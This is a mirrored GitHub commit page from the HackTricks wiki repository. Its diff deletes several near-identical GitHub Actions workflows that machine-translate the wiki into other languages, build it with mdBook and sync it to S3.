mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/todo/hardware-hacking/side_channel_analysis.md', 'src/w
This commit is contained in:
parent
92ff9c2218
commit
ce421cef77
119
.github/workflows/translate_af.yml
vendored
119
.github/workflows/translate_af.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to AF (Afrikaans)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: af
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Afrikaans
|
||||
BRANCH: af
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_de.yml
vendored
119
.github/workflows/translate_de.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to DE (German)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: de
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: German
|
||||
BRANCH: de
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_el.yml
vendored
119
.github/workflows/translate_el.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to EL (Greek)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: el
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Greek
|
||||
BRANCH: el
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_es.yml
vendored
119
.github/workflows/translate_es.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to ES (Spanish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: es
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Spanish
|
||||
BRANCH: es
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_fr.yml
vendored
119
.github/workflows/translate_fr.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to FR (French)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: fr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: French
|
||||
BRANCH: fr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_it.yml
vendored
119
.github/workflows/translate_it.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to IT (Italian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: it
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Italian
|
||||
BRANCH: it
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_ja.yml
vendored
119
.github/workflows/translate_ja.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to JA (Japanese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ja
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Japanese
|
||||
BRANCH: ja
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_ko.yml
vendored
119
.github/workflows/translate_ko.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to KO (Korean)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ko
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Korean
|
||||
BRANCH: ko
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
